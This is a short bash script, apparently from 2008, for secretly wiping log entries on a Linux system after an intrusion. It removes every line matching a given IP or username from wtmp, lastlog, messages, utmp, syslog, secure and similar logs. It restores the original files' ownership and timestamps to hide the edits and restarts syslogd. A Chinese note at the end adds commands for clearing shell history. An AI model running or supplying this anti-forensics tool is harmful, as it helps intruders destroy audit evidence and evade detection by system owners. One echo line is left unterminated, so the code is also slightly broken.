#!/bin/bash
echo " linux clear log "
echo "            by knlve 2008-08-29"
echo "==============================="
#    chmod 777 log
# ./log xx.xx.xx.xx And ./log root

    if [ -f "/var/log/wtmp" ];then
      cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;
              chgrp --reference /var/log/wtmp /var/log/temp1;
              chown --reference /var/log/wtmp /var/log/temp1;
              touch -r /var/log/wtmp /var/log/temp1;
              mv  -f /var/log/temp1 /var/log/wtmp;
    fi
    if [ -f "/var/log/lastlog" ];then
      cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;
              chgrp --reference /var/log/lastlog /var/log/temp2;
              chown --reference /var/log/lastlog /var/log/temp2;
              touch -r /var/log/lastlog /var/log/temp2;
                mv  -f /var/log/temp2 /var/log/lastlog;
    fi
    if [ -f "/var/log/messages" ];then
      cat /var/log/messages | grep -v $1 >> /var/log/temp3;
              chgrp --reference /var/log/messages /var/log/temp3;
              chown --reference /var/log/messages /var/log/temp3;
              touch -r /var/log/messages /var/log/temp3;
                mv  -f /var/log/temp3 /var/log/messages;
  fi
    if [ -f "/var/log/utmp" ];then
      cat /var/log/utmp | grep -v $1 >> /var/log/temp4;
              chgrp --reference /var/log/utmp /var/log/temp4;
              chown --reference /var/log/utmp /var/log/temp4;
              touch -r /var/log/utmp /var/log/temp4;
              mv  -f /var/log/temp4 /var/log/utmp;
      fi
    if [ -f "/var/log/wtmpx" ];then
      cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;
                chgrp --reference /var/log/wtmpx /var/log/temp5;
                chown --reference /var/log/wtmpx /var/log/temp5;
                touch -r /var/log/wtmpx /var/log/temp5;
                mv  -f /var/log/temp5 /var/log/wtmpx;
      fi if [ -f "/var/log/utmpx" ];then
      cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;
                chgrp --reference /var/log/utmpx /var/log/temp6;
                chown --reference /var/log/utmpx /var/log/temp6;
                touch -r /var/log/utmpx /var/log/temp6;
                  mv  -f /var/log/temp6 /var/log/utmpx;
      fi
        if [ -f "/var/log/syslog" ];then
      cat /var/log/syslog | grep -v $1 >> /var/log/temp7;
                chgrp --reference /var/log/syslog /var/log/temp7;
                chown --reference /var/log/syslog /var/log/temp7;
                touch -r /var/log/syslog /var/log/temp7;
                  mv  -f /var/log/temp7 /var/log/syslog;
    fi
          if [ -f "/var/log/secure" ];then
        cat /var/log/secure | grep -v $1 >> /var/log/temp8;
                chgrp --reference /var/log/secure /var/log/temp8;
                chown --reference /var/log/secure /var/log/temp8;
                touch -r /var/log/secure /var/log/temp8;
                mv  -f /var/log/temp8 /var/log/secure;
      fi
        /usr/bin/killall -HUP syslogd;
echo "Clear log is success!
#rm -fr log

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由于某种原因在脚本里清楚历史记录始终不完美。执行完脚本后，
在手动执行清楚历史记录:
            history -w
            history -c


脚本用法 chmod 777 log & ./log ip or ./log root